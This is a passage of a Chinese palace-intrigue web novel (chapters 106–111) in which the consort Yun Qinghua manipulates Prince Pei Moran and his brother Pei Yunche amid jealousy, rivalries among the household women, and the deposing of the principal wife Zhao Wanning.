进门不久,裴墨染便碰见了几个官员,他尴尬地将手上的一堆点心、玩意儿塞给云清婳。 他堂堂肃王,可不能被人误会惧内! 裴墨染跟官员攀谈寒暄。 云清婳乖巧的福福身,便自顾自上了二楼。 才到拐角处,她便被一股大力拖进厢房。 点心、玩意儿坠落一地。 她被按在门上,高大的身影将她紧紧压住,男人温凉的薄唇压住她的唇瓣,一股酒气渡进她的舌间。 “唔……”云清婳没有挣扎,顺从地抱出裴云澈的腰。 正所谓一个猴,一个栓法。 裴云澈跟裴墨染不同,他为人腹黑,自视甚高,不喜欢有反骨野性的女人,他要的是绝对掌控。 二人唇齿交缠,吻得难舍难分,像是陷入热恋的情侣。 实则,云清婳心中膈应极了。 即使裴云澈芝兰玉树,样貌俊逸,面若冠玉,但她也没有丝毫心动。 害死姐姐的人,她恨不得手刃了。 良久,裴云澈放开她,他的眸中隐隐泛着泪光,“蛮蛮,你方才对裴墨染笑得好开心。” 好酸啊。 原来是醋坛子打翻了。 “殿下不相信妾身?”她的眼眶也红了,“裴墨染纵容赵婉宁害死了我们的孩子,我怎会心动?您说这话是对我的侮辱!” 裴云澈的表情一僵,羞愧涌上心头,“对不住!蛮蛮,是本王不好,是本王小人之心了。” “我要走了,裴墨染就在楼下。”云清婳负气地弯腰,捡起地上散落的东西。 裴云澈想要挽留她,却怕再招惹她落泪。 他状似无意地打落她头上的牡丹,从怀中掏出一枚制作精良的牡丹花白玉簪。 “这是本王特意请匠人做的,蛮蛮戴这个吧。”他的语气带着一丝丝恳求的意味。 云清婳看着白玉簪,眼前一亮。 啧,不得不说,裴云澈的眼光比裴墨染这个死直男好一百倍! “殿下,蛮蛮很喜欢这枚簪子,可是倘若被发现……”她纠结地抿着唇,不敢接过。 裴云澈正色道:“那便摊牌吧!苏晴已经向裴墨染告发了,裴墨染或许不信或许不在意,他并没有反应。” “啊……”她惊讶得瞪圆了眼。 “莫怕!贱妇已经被本王囚禁,裴墨染闹不出动静。”他自负地扬起脸,紧绷的下颔线更衬托出他优越的轮廓。 死狗贼,整天除了摊牌,就不会说其他话? 云清婳抹去眼泪,“不行!蛮蛮不怕成为坏女人,可蛮蛮怕连累殿下!皇后娘娘对您抱有厚望,倘若殿下再逼蛮蛮,我们不如断了吧。” “蛮蛮,是你先招惹本王的,本王不说结束,你休想断!”裴云澈眼神发狠,他捏着她的下巴再一次掠夺她的呼吸。 门外传来熟悉的脚步声。 裴墨染四处张望寻人,逐渐逼近,“蛮蛮……” “蛮蛮……” 云清婳的心脏快要跳出嗓子眼。 真刺激啊! 一门之隔,哥哥强吻弟弟的妻子! 裴云澈挑眉,看着门外的虚影,吻得愈发卖力。 咚咚—— 裴墨染敲响了门。 云清婳的眼眸瞪圆,因为惊恐,身子战栗。 第107章 摊牌!兄弟反目 可裴云澈似乎希望裴墨染推开这扇门。 他的唇角上扬。 云清婳在心中暗骂裴云澈变态! 这个腹黑男,哪里配得上端方清正四个字? 所幸,裴墨染没有推门。 直到裴墨染的身影消失在回廊,裴云澈才放开云清婳。 他的声音低哑,“蛮蛮,本王不逼你了。” 但他也不准备隐藏了! 蛮蛮本就是母后为他选中的妻子,他们情投意合,身份也最为匹配,只是迫于形势他才将她嫁给裴墨染。 裴墨染一个庶出的皇子,当真以为自己配得上蛮蛮? 他是君,裴墨染是臣。 他向裴墨染要人,裴墨染岂有不给的道理? “妾身愿君安好。”云清婳捡起地上的牡丹跟零嘴、玩意儿,推开房门,去找裴墨染。 没成想,裴云澈跟了出来。 他伸手,将白玉簪递到她的面前,“你既然喜欢,为何不收下?这白玉簪太大,唯有你的容貌才压得下。” 恰好此时,裴墨染走过拐角,他听到了这句话,脸色骤然一黑。 这枉顾人伦的下流无耻之徒,居然敢在花朝节勾引弟妹! 一点兄弟情义都不顾了! 不要脸! 云清婳瞥见阴影处的湖蓝色衣角,小脸委屈得不成样子,结结巴巴道:“殿下,我,我有牡丹了,髻上簪不下了。” 从裴墨染的角度来看,云清婳是在委婉地拒绝裴云澈,话说得很体面,给裴云澈留够了脸面。 而从裴云澈的角度来看,云清婳是忍痛割爱,为了他,克制自己的感情。 “这俗物,岂配得上你?”裴云澈想要抢过她手里的牡丹。 “皇兄,你够了!” 裴墨染快步走来,将云清婳护在身后,“蛮蛮是本王的妻子,俗物配不上蛮蛮,本王自会找更好地与她相配,不劳你费心。” 裴云澈镇定自若地转动着手里的簪子,讽刺道:“墨染,你的妻子不是赵婉宁吗?你不是要跟她白首不相离吗?” “……”裴墨染的脸色变了又变,发狠瞪他。 这是明晃晃的羞辱,他明明知道赵婉宁有多卑劣。 裴墨染冷硬地回道:“世事易变,如今本王的妻子只有蛮蛮。” “侧妃也算妻吗?”裴云澈蔫坏,他就是要激怒裴墨染。“没记错的话,在悬崖上,你选择的是赵婉宁。” 裴墨染的手一颤,攥成了拳,他真想拧断裴云澈的脖子。 他好不容易才将蛮蛮哄好的,这个无耻之徒不仅挖墙脚,还挑拨离间! “呜呜呜……”云清婳忽然哭了,她转身就跑。 “蛮蛮!”裴墨染跟裴云澈异口同声。 裴云澈正想抬脚去追,裴墨染就伸臂拦住他,“裴云澈,蛮蛮是本王的女人,你若还顾及人伦纲常,那便注意分寸。” 说着,他追下楼去。 裴云澈捏着栏杆,焦灼地看着哭跑出酒楼的蛮蛮,心中涌上悔意。 一定是方才他说了太多,把蛮蛮吓到了。 …… 云清婳没想到裴云澈这么懂得“配合”,他的字字句句,都是她想要的。 她没有跑远,抱膝蹲在河边啜泣,纤细的脖颈似乎快喘不上气,晶莹的眼泪如珍珠般在挂在脸上。 河水上的兰舟摇晃,处处欢声笑语,她羸弱单薄的身躯与热闹的氛围形成鲜明对比。 裴墨染远远看着,心脏揪疼。 他快步走上前,单膝跪在她面前,“为何哭了?是不是裴云澈那个败类欺负你了?” “呜……”云清婳哭得一抽一抽的,娇气的嘤咛。 裴墨染伸出手想为她揩去眼泪,可她推开他。 “贤王说得对,根本没人把我当作你的妻子!只有我们二人在自欺欺人!可是骗得了谁呢?”她的脸涨得通红。 裴墨染语塞,方才裴云澈质问他的时候,他真的被问住了。 “你别听他胡说,我心中的妻子只有蛮蛮。”他安抚着。 她泼辣的哭喊:“不!您的妻子只有赵婉宁,我什么都不是。正是如此,贤王才会看轻我、引诱我,反正左右不过是个妾,送人便送人了!” 裴墨染的火气蹭蹭往外冒,裴云澈敢觊觎蛮蛮,简直该死! “你不是妾,谁都不能把你从本王身边夺走!蛮蛮,再等等本王,你要的,本王都会给。”他郑重地承诺。 一直以来他都明白蛮蛮想要王妃之位,她想真正成为他的妻子。 可是,至少也得等几个月。 赵婉宁绝对不能无缘无故地暴毙,也不能无缘无故地被废掉,至少得有一个足以服众的罪名。 云清婳有些看不明白裴墨染了。 不知他是在敷衍,还是真准备有所行动。 倏地,裴墨染想到什么,耳根子红了。 他从怀中拿出一枚桃色的姻缘符,温吞地说:“这是你被赵婉宁迫害那日,我专门在感业寺为我们求的。只可惜那时我尚未认清自己的心,幸好,我还能将它给你。” 云清婳害怕再闹下去适得其反,她起身,从他手中接过姻缘符,破涕为笑:“这是妾身收到过,最好的礼物。” 他揩去她眼角的泪,心中生出了一丝愧疚。 京城第一贵女委身为侧室嫁给他,可一点好处都没得到过。 一枚不值钱的符箓便能将她逗笑。 就好像是,他苛待了她。 “别哭了,我再去给你买花糕?糖葫芦?嗯?”他捧着她的脸,温柔地哄道。 就在这时,祝国公跟何心意走来。 二人看着他们,笑得暧昧。 “真巧啊,肃王跟云妃也出来游玩?”祝国公笑吟吟道。 裴墨染颔首,他牵紧云清婳的小手,“方才有疯汉把蛮蛮吓到了,本王在哄呢。” “……”云清婳羞赧地垂下眸。 “云妃无事就好,微臣跟夫人也来逛逛。”祝国公不多追问,得体有度。 何心意蹙眉,担心地问:“蛮蛮要不要吃些花糕?方才夫君买了许多。” “不用了,方才夫……王爷也给我买了。”她勉强地牵唇笑着。 祝国公跟何心意想要看游花神便先走了。 裴墨染抓着她的手,颇为紧张的问:“方才为何不喊夫君了?你又生气了?又怪我?” 她摇摇脑袋,“别人才是真夫妻,我在心意姐姐面前,总感觉低一头,哪好意思唤你?” 裴墨染心疼的看着她,“蛮蛮,相信我,再等等。” “……” 又在画大饼! 她不表露神色,转移话头:“回府吧。” 他转过身蹲下,“我背你。” 云清婳乖顺地趴在他的背后,双臂缠着他的脖子。 裴墨染托着她的大腿。 她的脸颊贴着他的脸,一颗热泪滚进他的脖颈。 裴墨染一怔,心又疼了。 第108章 别装睡,我知道你醒了 “喜欢您,是一件很辛苦的事。”她轻叹一声,语气疲惫。 裴墨染心中不愉,还夹杂着一丝不安。 “夫君,我不想骗您,一路走来,我受了许多委屈,可是前路哪怕开满荆棘,将我扎得遍体鳞伤,我也愿走到您身边。” 裴墨染的心加速跳动,紧接着席卷上心头的却是无尽歉疚。 这一刻,他恨不得将全天下最好的东西捧到她面前。 云清婳唇角的弧度不断加深。 拿捏! 她这教科书式的答案,绝对让狗男人既感动又愧疚! “蛮蛮……”裴墨染正欲说话。 云清婳便指着前方投壶的摊位,“看,那盏花灯好漂亮!” 那是一盏七彩兔子灯,制作精美,比宫中匠人的手艺、设计更加生动。 “我去给你赢回来。”裴墨染道。 她扑哧笑了,“这是骗人的!摊主让人站在街对面投壶,二哥为了给我赢花灯,每年都在这摊位上折损不少钱。” 裴墨染的嘴角勾起势在必得的弧度,他可百步穿杨,掷箭投壶与他而言不算难事。 “这有何难?” 云清婳真不想陪他闹了,她的眼皮子在打架,她打了个哈欠,“夫君,回府吧,好困。” 他只好听她的,“好。” …… 裴墨染背着云清婳从后门回了玄音阁。 他将她轻轻放在榻上,为她脱去鞋袜,盖上被褥。 贴身太监在后面忍不住捂嘴笑。 王爷还是第一次这般关心一个女子。 飞霜端来热水,给云清婳擦洗,她福福身,“王爷,奴婢已经备好热水了。” “不必了。”裴墨染递给贴身太监一个眼神,大步流星的走了出去。 贴身太监小跑着跟上,“王爷有急事?” “……”裴墨染冷冷瞥了他一眼,不语。 …… 第二日。 云清婳一睁眼,便看见一盏兔子花灯放置在矮几上。 她眼前一亮,含糊不清的说:“我是在做梦吗?” “是王爷给您赢的彩头啊!就是您想要了好几年的那盏灯。”飞霜掀开嫣色纱绡。 屏风后,裴墨染坐在桌前正在用膳。 他期待着蛮蛮的反应。 云清婳穿好了鞋,迫不期待提起花灯,上下打量起来,“那根本就是个骗局,箭镞轻,距离远,根本不可能投中。夫君莫不是恐吓那个摊贩了?” “应该没有吧。”飞霜倒吸了口凉气。 裴墨染的脸色铁青。 贴身太监吓得腿肚子直哆嗦。 这可是王爷投壶,投到了子时,好不容易才赢回来的彩头。 “早知道就不跟夫君说了,我又给他添麻烦了。”她爱不释手的抱着花灯绕过屏风。 看见桌前的人,她惊愕的后退一步,就像撞见了老虎的兔子,心虚道:“夫君……” 裴墨染递了个眼神过去,婢女、太监纷纷退出寝殿。 他大步朝她走去,一片黑影从头顶落下,将她笼罩在阴影中。 云清婳被硬邦邦的胸膛抵在了屏风上。 “夫君,您怎么能偷听别人说话呢?”她双眸水汪汪的,理不直气也壮。 裴墨染被气笑了,他捏着她的下巴,在她唇瓣上碾磨。 “唔……” “为了这盏灯,本王昨夜子时才回府,你居然敢小瞧本王?本王怎会威逼欺压百姓?”他的火气腾的上来了。 作为堂堂战神,他绝对不允许别人质疑他的能力。 云清婳霎时切换了眼神,她崇拜的看着他,眼波闪烁,“您是说,您投中了?” “自然!”裴墨染挑眉,一副傲慢的模样。 她含情脉脉的说:“夫君好厉害,是蛮蛮的英雄。” 他的耳根子腾的红了,有些不好意思,“咳……投壶罢了,有什么厉不厉害的?” 云清婳踮起脚,在他下巴上亲了一口,跟兔子似的羞涩的窜没影了。 裴墨染捂着被她亲过的位置,一时之间,竟也有点羞。 …… 裴墨染走后,飞霜端来几盘点心,“主子,沈沁估计关不了多久,她已经派人找沈家求助了。” 云清婳平静的点点头,一切尽在预料之中,“她若是无动于衷我才该担心。” 月底的时候,京兆尹瞻前马后,协助北镇抚司破了悬案。 沈沁作为京兆尹的女儿,自然不好继续被关在暗室,于是裴墨染命人将她放了出来。 她出暗室的第一件事,便是去见云清婳。 才到花园,她就远远看见了云清婳跟魏娴一同说笑。 云清婳抱着魏娴的胳膊撒娇,那是在她面前从未展露过的亲昵。 她的眼睛泛酸,嫉恨的妒火在眸中熊熊燃烧,她攥紧了拳头。 “主子,您对云侧妃这么好,又是嘘寒问暖又是煮养胃汤,可她还给您下假孕药,联合魏娴给您做局!”贴身婢女明珠愤愤不平。 沈沁磨着后槽牙,恨恨地说:“我跟赵婉宁联手又如何?这都是云清婳逼我的,她一人受宠,却没想把宠爱分我丝毫,还说什么男人不重要!那她为何还百般勾引王爷?” “云清婳把您们当作垫脚石罢了,根本不值得您的真心。”明珠轻抚她的背脊,给她顺气,“这个仇,咱们早晚会报回去。” …… 裴墨染忙了小半个月,都宿在北镇抚司。 悬案被破,得到了皇上的嘉奖,他才回府。 他径自去了玄音阁,这会儿天色已晚,院里落了灯。 裴墨染轻轻踏进寝殿,贴身太监正想通传,他却比了个噤声的手势。 “王爷,主子已经睡下了。”飞霜福礼。 他颔首,轻手轻脚的绕过屏风。 蛮蛮平日是不会睡这么早的。 他掀开纱绡,榻上的人儿平静的阖着双眼,呼吸均匀,肌肤白皙,唯美得像是一朵盛开的百合。 裴墨染有些口干舌燥,他俯下身,在她眉间轻轻落下一吻。 云清婳扭过身去,背对着他。 他本想上榻,可又想起蛮蛮嫌弃他时的小表情,于是立即命人抬水。 他沐浴完毕,才脱下皂靴,躺在她身后,单手搂住她的腰肢。“行了,别装了,我知道你醒了。” 云清婳倏地睁开双眼,没有吱声。 她在等狗男人承认错误,他居然把沈沁放出来,不跟她商量! 第109章 狗男人说情话,恶心 裴墨染没话找话说:“本王前几日冲动了,跟祝国公商讨政务时发生了口角,他被气的不轻。” 此事,诸葛先生在他耳边念叨了久。 把他念叨烦了,他只好低头宴请了祝国公夫妇。 可祝国公胆肥! 对外称病,不赴宴。 “……”云清婳还是不语。 她猜测,狗男人十有八九得罪了祝国公,求和不成,处处碰壁,所以想起她了。 他将脸埋进她的颈窝,鼻尖蹭着她的锁骨,死皮赖脸的哄道:“好蛮蛮,我不该释放沈沁,不跟你商量,你帮帮为夫可好?” 她的眼泪说来就来,委屈的抽噎:“我在您心里究竟算什么?沈沁那样算计我,可您一声不吭就把人放了。” 他的心抽疼,看着她的眼泪,手足无措的为她擦,“蛮蛮,你别哭啊。” 男人略带薄茧的手刮着她的脸,把她的脸搓得很疼。 “疼!”她娇啼。 裴墨染不敢动她,急得到处翻找手帕。 云清婳用手背揩去眼泪,语气平和,“沈夫人解禁,想必是沈家立功了,您今晚理应去临幸沈夫人。” 他心中堵塞,像是被什么包裹住,让他喘不上气。 说得好像他在拿身体还债! 云清婳阖上双眼,准备入睡。 裴墨染盯着她看了良久。 他气得要死,她是怎么睡得着的? 裴墨染抱着她,正色道:“蛮蛮,你觉得我不在乎你?我被捕兽夹伤到的时候,我一点都不觉得有什么。可看见你流眼泪,我的心都快疼死了!” 云清婳睁开眼皮,嫌弃的看他。 他喝醉了吗? 说话怎么这么恶心? “……”裴墨染看明白了她的眼神,面颊也红了。 她捂住他的嘴,“快睡吧,别说了。” 这是和好的信号。 “好。”他立即颔首,眼中倾泻出光亮。 就像是得到主人爱抚的小狗。 …… 翌日。 裴墨染一睁眼,正想抱住身侧的云清婳,可她似有所感的往后缩了缩。 他还以为昨晚他们已经和好了。 “蛮蛮,今日我告假了,我陪你出去走走?”他牵住她的手。 云清婳的眼中闪过复杂的神情,她淡淡道:“我正想跟您说这件事呢,心意姐姐今日约了我去茶楼喝茶。” 一听到何心意,裴墨染的心头一跳。 他跟祝国公的关系跌至冰点,若是蛮蛮能从中调和,安抚好何心意,一切难题都会迎刃而解。 “我派人送你过去。”他的眉眼舒展。 云清婳起身,准备下榻梳妆。 她穿鞋时,裴墨染从身后揽住她的腰,下巴颏落在她的肩膀上,“蛮蛮,有你真好。” 他的声音低沉,随后长长吁出一口气,像是发自肺腑。 她不仅是他心爱的女人,更是能与他执手前进,辅佐他完成大业的贤内助。 蛮蛮完全具备一个王妃所需的所有品质。 而赵婉宁除了让他蒙羞,什么都不会! “嗯。”云清婳冷淡的推开他,起身走了。 裴墨染望着她冷漠的背影,心脏像是被烫了一下。 …… 云清婳去了茶楼。 飞霜为她摘去披风,担心的问:“主子,这只是小事,您就打算一直冷着王爷?” “不,我马上就会与他和好,但不能毫无代价的和好,我要让他愧疚,并且让他长记性。”她愤愤道。 谁让他做事,不跟她商量? 到了雅间,何心意已经在桌前等待良久。 围炉煮茶,别有一番风趣。 桌上摆满了各色的点心,何心意递出一个柿饼,“蛮蛮,尝尝,你姐姐最喜欢吃我做的柿饼。” 水光在云清婳的眼中颤动,她接过柿饼,咬了一口,“好吃。” “嗯。”何心意也不动声色的擦去眼角的泪。 气氛好像被凝结住。 二人的呼吸变得沉重。 何心意知道云清婳现在所做的一切,都是为了给谢容音报仇,所以她会鼎力相助。 门外,传来店小二的咳嗽声。 云清婳跟何心意相视一笑。 鱼儿上钩了! 好戏要开演了。 门外,裴墨染着实有些不放心,所以他跟过来看看。 他相信蛮蛮长袖善舞、人情世故的能力,蛮蛮一定会帮他跟祝国公说和。 但他还是想来看看祝国公那边的态度。 何心意冲云清婳眨眨眼,示意要开始演了,她砰的一声拍响桌子,“肃王真是好大的威严!我夫君的脸都快被打烂了!” “……”裴墨染的喉头像是被塞了团棉花,让他想辩解也不知道该说什么。 “王爷驻守西北十年,平日都是在沙场叫骂敌军,心意姐姐还指望他出口成章不成?”云清婳站起身,殷勤的为她倒了杯茶,打趣道。 何心意哼了一声,“夫君差点气晕过去,此事没这么好平。” 云清婳抱着她,冲她撒娇,“心意姐姐,我回府就派人送百年人参、血燕去祝国公府赔罪!” “我记得祝国公中意我爹收藏的棋谱很久了,我向爹爹讨来,也一并送过去!” “这次是王爷冲动了,我代他向您与姐夫道歉。” 何心意长叹了口气,态度似乎有所松动。 而门外,裴墨染隐隐的看着虚影,捏紧了拳头。 矛盾被化解了,他却没有半点高兴,他只有满腔的心疼与愧疚。 蛮蛮那么骄傲、明媚的女子,却为了他做小伏低,甚至还要用云丞相珍藏的棋谱去还人情。 “蛮蛮,你只是侧妃,此事与你有什么关系呢?你何必蹚浑水?”何心意牵着她的手,语气心疼。 她苦笑,“我不愿看见王爷心烦。” “你究竟看上了他什么?连正妃之位都不给你!男人的钱跟权在哪里,爱才在哪里,你莫要犯傻。”何心意瞥着门外高大的黑影,故意刺道。 裴墨染的心轻颤,他当即恨不得冲进去。 这个何心意,怎么敢挑拨他跟蛮蛮的感情? 他只是……还在准备…… 云清婳吸吸鼻子,“王爷待我甚好,从不曾让我受过委屈,有人算计陷害,他也会全心全意信我,训斥那人。每次有了口角,也都是他让着我。” “你怎么哭了?”何心意连忙捏着帕子给她拭泪。 “我、我只是……太高兴了。”她哭得一抽一抽的。 裴墨染犹如万箭穿心。 蛮蛮所说的每一条,他都没有做到! 他恨不得立马进去抱她,告诉她,他爱她,他心里有她。 何心意的眼中流露出心疼,她抱着云清婳,“蛮蛮,日后要是不开心,就来找我吧。” “嗯。”云清婳缓缓点头。 狗男人,够愧疚吗? 第110章 赵婉宁被废 云清婳将茶楼的点心带回府邸,送给魏娴。 二人在花园中谈笑风生,共品点心。 沈沁看到二人其乐融融的一幕,泪水浸湿了眼眶。 她像是被人抽了魂,她憔悴的走上前,扑通跪下,“云姐姐,我真的知错了,你不要故意冷落我。” 云清婳不搭理,她捻起一块桂花糕,喂到魏娴嘴里,“我最喜欢这个,你尝尝。” “唔……”魏娴的脸颊都红透了,她讷讷的嚼着糕点,莫名害羞。 “沈夫人,您这是做什么?旁人看见了,岂不会以为主子欺辱您?您的父亲立了大功,您可是红人,不要害我们了。”飞霜强行将她拉扯起来。 沈沁不放弃,她又从袖中掏出一张纸,上面似乎浸染了红色的颜料。 “云姐姐,这是我用血写的道歉信。”她双手奉上,腕上缠了纱布。 明珠哽咽道:“云侧妃,您再不原谅主子,不知主子还要做什么傻事!方才她用匕首划开了手腕,奴婢都吓死了。” 云清婳的眸子这才缓缓一轮,睨着沈沁,“以前的事,我已经不计较了,你千万不要伤了身子。” “所以,云姐姐,你原谅我了?”沈沁咧着嘴笑问。 “阿娴,你的嘴角有糕渣。”云清婳捏着帕子,想为魏娴擦去嘴边的渣滓。 魏娴身子一闪,“云侧妃,我自己来就好。” “阿娴好害羞啊。”云清婳轻笑。 她觉得逗魏娴玩,特别有意思。 魏娴揩去嘴角的渣滓,红着脸,低声道:“你别拿我开玩笑。” “……”沈沁被当作空气,尴尬的站在一旁。 她含着泪转身跑了。 回了寝房,明珠劝道:“主子,别生气了,跟云清婳表面上和好就行。” “云清婳怎么可以这样对我?我掏心掏肺对她,把她当作挚友、亲姐姐,可魏娴什么都没做,就能得到她的真心!”沈沁将指甲狠狠嵌进肉里,掌心都被抠出了血。 明珠道:“云清婳虚伪至极,哪有什么真心?恐怕就是魏娴比您更好利用罢了!” 沈沁气得双臂颤抖,她的脸阴恻恻的,“好啊!既然我不好过,她们俩也别想好过!什么闺中密友,金兰结义?可笑!” …… 玄音阁。 云清婳端正的坐在桌前,专心致志的拨弄算盘算账。 “主子,不好了!”飞霜的脸蛋红扑扑的,跨进门时,险些摔了一跤。 “嗯?”她挑眉,似乎猜到了答案。 “沈沁收买了京城好几家戏班子跟茶馆的说书先生,让他们编排您跟魏夫人鸳俦凤侣,互为对食。”飞霜嫌弃的咧嘴。 云清婳扑哧笑了,“亏她想得出来,真有意思!” 飞霜的鸡皮疙瘩起了一身,“您还笑得出来?奴婢方才看了那出戏,台上演的可恶心了!说您们不要王爷的恩宠,合欢共浴,如同做了夫妻一般。” 云清婳觉得沈沁也挺变态。 得不到她的青睐,所以想毁掉! “沈沁敏感善妒,斤斤计较。谁对她一点好,她就感动得不行,对她一点坏,她就恨之入骨。这样的人,养不熟!我们走到今日这一步,我一点都不奇怪。”她慢条斯理的分析。 飞霜这才明白,为何主子始终对沈沁不冷不淡,倒是对魏娴青睐有加。 魏娴虽然表面上拒人于千里之外,但心从来是向着主子的。 忽的,门被推开。 裴墨染目光灼灼的朝她走来。 云清婳的眼底划过光彩。 他果然来了。 飞霜察言观色的屏退左右,顺便阖上了门。 “夫君,我已经跟心意姐姐说好了,等会儿让管家送支百年人参跟血燕……唔……” 裴墨染捧着她的脸,不由分说的堵住她的唇,掠夺她的呼吸。 “唔……”她似乎被吓到,下意识的用手推搡他的胸口。 他放开她,深深的凝视她的脸。 云清婳的杏眼中水光潋滟,疑惑、惊惶的望着他。 “方才我去茶楼了,你跟何心意的话我都听见了。”他温吞的说。 偷听实在不光彩,他有些羞于启齿。 她的黛眉微微蹙起,“您怎么可以偷听?” “蛮蛮,你尽心尽力为阖府上下操劳,我愧对于你。”他一字一顿。 云清婳的眼里噙着泪,“夫君,我不要您的愧疚,我希望您能爱我。” 裴墨染的心潮翻涌,无尽的愧意似江水冲击着他。 云清婳偷偷翻了个白眼,他现在才想明白? 无非是爱得不够深罢了。 裴墨染亲吻她的眉心。 他已经派人去搜集赵婉宁娘家的罪证了,最多半年,等赵家把罪名坐实、入狱,赵婉宁为了保全家人,必会自请下堂。 如此一来,名正言顺,他也落得个大义灭亲的名声,谁也不能抓住他的错处。 但正所谓,事以密成,他现在还不敢说给她。 事情的发展,完全在云清婳的掌握之中。 节奏被她完美的把控住。 他抱着她,将她丢到了床榻上,他吻着的耳垂,“蛮蛮,争点气啊,快些怀孕。” 她的身子发软,曲着腿,下意识反驳:“为何是我不争气,不是您不争气?” 裴墨染觉得男性尊严受到了挑战,他勾起一抹带有侵略性的坏笑,“好啊!我一定争气,让第一贵女满意!” 云清婳的心脏漏跳一拍,她刚想逃就被扑倒。 一室旖旎,直到黄昏暧昧的氛围才消散。 …… 月底,几位夫人与妾室到玄音阁请安。 云清婳与她们闲聊几句,赏了些头面,便让她们退下。 裴墨染忽的从外走来,他冷声道:“赵家贪污受贿,搜刮民脂民膏,在西北欺男霸女,昨日,赵婉宁已经自请下堂。本王方才向圣上请旨,废了她的王妃之位。” 这突然而来的消息,让众人措手不及。 云清婳有些惊喜,爹爹的动作真快! 魏娴笑看着云清婳,由衷为她感到高兴。 众人等待着下文。 废了赵婉宁,是不是该扶其他人上位了? 几位夫人的身份是不是可以晋一晋了? 妾室的身份是不是也可以晋一晋了? 可裴墨染摆摆手,示意众人退下。 他打算等三个月,再向父皇请旨立蛮蛮为正妃。 肃王妃之位无缝衔接,会显得他薄情寡义。 云清婳衣袖下的手攥成了拳头。 狗男人,究竟在磨唧什么? 知不知道迟则生变的道理? 崔夫人睨着云清婳,嘲讽的笑了,“我还以为某个人能上位了呢,原来是我想多了?” 沈沁睨着云清婳,脸阴恻恻的。 第111章 吃醋,裴墨染气急败坏 晚上,裴墨染在床榻上分外卖力。 子时过半,暖帐中才渐渐恢复平静。 云清婳想着裴墨染不信守承诺,立她为正妃的事就来气。 她不好过,裴墨染也甭想好过! 云清婳趴在他的胸口,有气无力道:“夫君,有件事,我想说给您。免得日后被有心之人利用,你我隔心。” “说吧。”他轻抚的她的脑袋。 她难以启齿,好一会儿才开口,“当年皇后娘娘与爹爹议亲,有意撮合我与贤王,所以在两年前,我与贤王私下见过几次面。” 裴墨染凝眉,“见过几次面是什么意思?” 她的脸蛋娇红,声音越来越小,“未婚夫妻,婚前见一见罢了。” “呵,是为了培养感情吧?”他酸溜溜的说,阴阳怪气。 云清婳蹙眉,“您别恼啊,那时候您还在西北呢,我们还不认识。” 他捏着她的后脖颈,跟拎小鸡仔似的把她抓起来,他也坐起身,显然不准备睡了。 “你跟他见了几次?做了什么?有无旁人在场?”他严肃的问。 云清婳的黛眉一沉,“见过几次,不记得了。我们观雪赏梅,吟诗作对,游湖赏花罢了,下人一直跟着呢。” “真是好文采!郎才女貌,风花雪月,横槊赋诗!”裴墨染像是疯了,还冲她竖起大拇指。 她的双颊染上了薄怒的红,“您这么激动做什么?我跟贤王又没有过分的举动。” “我激动?蛮蛮,上面这些事,你可曾跟我做过?你跟他从诗词歌赋谈到风花雪月,一定很欢喜吧?”他讽刺。 云清婳觉得可笑。 缺爱的狗男人醋了! 若是裴云澈,他绝对不会为这种事生气,就算生气也会引而不发,暗戳戳较劲。 “这怎么能相比?您似乎对鉴赏丹青、吟诗作对不感兴趣啊。”她红了眼。 裴墨染捏紧了拳头,“在你心里,我根本不能跟裴云澈相提并论是吗?你觉得他文采斐然、才高八斗,我只是一介武夫,言辞粗鄙、学问浅薄?” 她怀疑,裴墨染已经把自己能想到的成语都用上了。 “我困了,我不想说了。”云清婳钻进被褥,一转身,留给他一个后脑勺。 裴墨染却精神抖擞,他彻底睡不着了。 …… 清晨,裴墨染醒来时,他下意识想要亲吻云清婳的脸。 可云清婳别开了脸,手捂住他的唇,小眼神十分幽怨。 裴墨染有点尴尬。 他这才想起来,他们昨晚吵架了。 “哼。”他不悦地起身下榻。 半晌,见床榻间没动静,他率先开了口:“起来伺候本王穿衣。” “……”没人回应。 裴墨染更尴尬了。 飞霜、贴身太监将头埋得很低,屏住呼吸,大气不敢喘。 二位主子又吵架了! 他绕过屏风,掀开纱帐一看,云清婳又睡着了。 她嘟着嘴,脸蛋透着浅浅的粉,恬静地阖着双眼,看起来又娇又乖,惹人爱怜。 裴墨染俯下身,在她唇瓣上咬了一下。 “唔……”她吓得心脏猛跳,“您做什么啊?” 裴墨染不答。 他也不知道他想做什么。 云清婳在心里给出了答案——犯贱! …… 今日正值十五。 按照规矩,裴墨染跟裴云澈要去翊坤宫给皇后请安。 退朝后,一前一后往后宫赶去。 睿王笑吟吟地走上前,“两位皇兄留步!” “何事?”裴云澈扬起标准的笑,温润地问。 而裴墨染也回头,不温不凉地看着他。 “最近京城有一出好戏,你们看过没有?十分香艳露骨啊!”睿王从袖中掏出两张戏票,笑容揶揄,“你们得空了,还是去看看吧!” 裴云澈的脸上风云变幻,神情蕴出寒意,“本王看过了。” “什么戏?”裴墨染掀起眼皮,表情很鄙夷。 睿王将戏票塞进他的手里,坏笑道:“啧,四皇兄必须得去看!” 其他皇子纷纷用戏谑、嘲讽的眼神看着裴墨染。 裴墨染的心里像是被扎进了一根刺,极其不舒服。 到了翊坤宫门外,裴墨染忍不住问:“是什么戏?” “小人的算计罢了,不必理会。”裴云澈显然不想多说。 裴墨染懒得追问,他话锋一转,“蛮蛮的事,最好别让母后知道。” “这是自然,本王不愿给蛮蛮找麻烦。”裴云澈脸上的笑容更甚,含着几分挑衅的意味。 “裴云澈,你若是还顾及手足之情,就该歇了不堪的心思。”裴墨染的语气淡淡,却沾染了戾气。 对面之人轻嗤。 “墨染,你若顾及手足之情,就该把蛮蛮还给本王。人不能既要又要,你有了赵婉宁还不够吗?”裴云澈狭长的眸中泛着寒意。 “……”裴墨染在心里冷笑。 既要又要的到底是谁? 从小到大,他已经让了裴云澈无数次了,他不想让了! 翊坤宫花厅。 皇后给二人赐座,“皇上很喜欢睿王的儿子,你们也该尽快开枝散叶了。” “是。”二人异口同声。 皇后的目光又缓缓落在裴墨染身上,欣慰道:“听说你请旨废了赵婉宁?” “赵家在边地,靠本王的名声借道打鬼,欺男霸女、贪污行贿,已经罄竹难书,自然不能留了。”裴墨染想起赵家给他惹的祸,心累不已。 “你早这样不就好了?娶个王妃,不说能帮衬你,至少不能拖你的后腿。”皇后的眉宇舒展开,笑容慈祥。 裴墨染拱手道:“母后教训的是。” 皇后抿了口参茶,缓缓开口:“本宫的外甥女苏灵音,你可还记得?她天真烂漫、乖顺温良,或许是你喜欢的性子。这样的女子做肃王妃,后宅一定会少了许多纷争。” 